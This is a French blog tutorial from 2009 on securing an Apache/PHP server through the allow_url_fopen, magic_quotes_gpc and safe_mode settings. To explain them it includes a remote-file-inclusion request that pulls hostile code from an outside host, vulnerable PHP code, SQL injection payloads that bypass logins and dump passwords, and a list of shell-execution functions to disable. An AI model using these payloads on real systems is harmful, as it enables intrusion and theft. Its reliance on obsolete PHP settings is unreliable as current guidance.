Blog Informatique

Administration systèmes et réseaux
  • rss
  • Accueil
  • Contact

Sécuriser un Serveur WEB Apache

hazem.nasri | 14 juin 2009

Résumé :

Les 3 paramètres traités sont :
«  allow_url_fopen » ; « magic_quotes_gpc » ; « safe_mode ».

Type de serveur :
Serveurs Web : Apache / PHP

Descriptions :

ð    allow_url_fopen = Off
La recommandation de sécurité est de laisser la valeur à « off ».
Lorsque « allow_url_fopen » à est « On », pour toutes les commandes PHP ouvrant un fichier, si la chaine de caractère contenant le nom de fichier est de type “http://”, PHP va récupérer le fichier à l’URL donnée et l’ouvrir.
Cela laisse possible une attaque de type « remote include », environs 70% des failles PHP utilise se principe.

Voici un exemple de ce type d’attaque dans les traces :
GET /alice5130/alice/phpbb/page_tail.php?includePath= <http://www.sitealpha.com/code_hostile.gif?cmd=uname%20-a >HTTP/1.0

Et voici le code vulnérable correspondant:
<?php # def des constantes $file = “client.php”;
#pour avoir un register global if (isset($HTTP_GET_VARS)) { while(list($var,$val)=each($HTTP_GET_VARS)) { $$var=$val;}}
#include de la lib client.php include ($file); ?>
Un appel du type : GET /index.php?file= ‘code_hostile.gif’ aura comme conséquence d’exécuter du code PHP arbitraire sur le serveur.
ð    magic_quotes_gpc = On

Ce réglage évite une grande partie des SQL Injections, mais pas toutes !
Le principe est que tous les caractères ‘ (quote) envoyés par l’utilisateur sont remplacés par \’.
Voici une illustration d’une attaque de type SQL Injection :
Le principe est d’envoyer du code SQL pour contourner un processus d’authentification. Sur une page d’authentification ou l’identifiant et le mot de passe sont envoyés à une base de données pour en vérifier l’existence, un pirate va envoyer du code SQL pour réussir à s’identifier.

Considérons le code PHP suivant:
$query=”select * from user where user=’”.$_POST[user].”‘ and passwd=PASSWORD(’”.$_POST[passwd].”‘)”;
Si l’utilisateur entre admin / toto , la requête envoyée va être:
select * from user where user=’admin’ and passwd=’toto’;

Un pirate pourra contourner l’authentification en envoyant par exemple ‘or 1=1 limit 1# / vide , la requête deviendra alors:
select * from user where user= or 1=1 limit 1#’ and passwd=’vide’;
Avec magic_quotes_gpc réglé à « ON », la requête deviendra :
select * from user where user=’\'or 1=1 limit 1#’ and passwd=’vide’;

Il y a cependant deux cas de figures où magic_quote_gpc ne protège pas d’un SQL Injection.
Il est possible en effet de comparer un nombre sans utiliser de quotes avec MySQL . Par exemple:
select commentaire from table_commentaires where id=$_POST[user]
Un pirate peut très bien envoyer du code SQL sans avoir à utiliser de quotes dans cet exemple. Il va pouvoir envoyer dans user 123 union select

passwd from table-passwords . La requête va devenir:
select commentaire from table_commentaires where id=123 union select passwd from table-passwords
Le pirate pourra par ce biais récupérer la liste des identifiants et mot de passe.
Cette attaque a touché SPIP début 2006 et plus récemment GEPI (voir avis sécurité).

En résumé :
magic_quotes_gpc ne protège pas de toutes les attaques par SQL Injection, toutefois il permet d’en éviter la plupart.
Du point de vu d’un responsable sécurité, c’est une bonne chose de l’activer (lorsqu’une faille de type SQL Injection est découverte sur une application on a 2 chances sur 3 de passer au travers grace à ce réglage). Il n’y a pas d’impact sur le fonctionnement d’un site.
ð    safe_mode = On
Activer ce réglage a pour conséquence directe de bloquer le fonctionnement d’une partie d’un site écrit en PHP.
Concrètement :
·    il désactive toutes les commandes dangereuses exécutant des commandes (system, exec, …) ;
·    il empêche à un script d’accéder à un fichier dont il n’est pas propriétaire.
Alternative possible :
Désactiver manuellement toutes les fonctions (un script PHP n’a pas à exécuter des commandes systèmes).

Voici une liste des commandes à désactiver :
·    escapeshellarg — Escape a string to be used as a shell argument
·    escapeshellcmd — Escape shell metacharacters
·    exec — Execute an external program
·    passthru — Execute an external program and display raw output
·    proc_close — Close a process opened by proc_open() and return the exit code of that process.
·    proc_get_status — Get information about a process opened by proc_open()
·    proc_nice — Change the priority of the current process
·    proc_open — Execute a command and open file pointers for input/output
·    proc_terminate — kills a process opened by proc_open
·    shell_exec — Execute command via shell and return the complete output as a string
·    system — Execute an external program and display the output

Conclusion :
Passer en safe_mode est lourd de conséquence mais présente un gain de sécurité très important, en particulier sur les serveurs hébergeant les scripts de nombreux utilisateurs.

Catégories
serveur linux
Trackback
Trackback

« Installation serveur DNS sous Solaris 8 Configuration d’une interface virtuelle sous debian »

3 réponses

Sites We Like... [...]just below, are some totally unrelated sites to

Buy Facebook Fans | 29 décembre 2011

Sites We Like…

[...]just below, are some totally unrelated sites to ours, however, they are definitely worth checking out[...]…

... [Trackback] ... [...] Informations on that Topic: blog.lepc.fr/2009/06/14/securiser-un-serveur-web-apache.html [...]

Checkliste Seniorenheim | 31 janvier 2012

… [Trackback] …

[...] Informations on that Topic: blog.lepc.fr/2009/06/14/securiser-un-serveur-web-apache.html [...] …

... [Trackback] ... [...] There you will find 75290 more

greenfellas fencing supplies uk | 31 janvier 2012

… [Trackback] …

[...] There you will find 75290 more Infos: blog.lepc.fr/2009/06/14/securiser-un-serveur-web-apache.html [...] …

Navigation

  • Conversion
  • Copie de DVD
  • Les Réseaux sans fil
  • Mysql
  • Non classé
  • Qmail
  • Référencement
  • serveur d'applications
  • serveur linux
  • Solaris
  • Vista
  • VoIP
  • Web 3.0

Recherche

rss Flux rss des commentaires valid xhtml 1.1 design by jide powered by Wordpress get firefox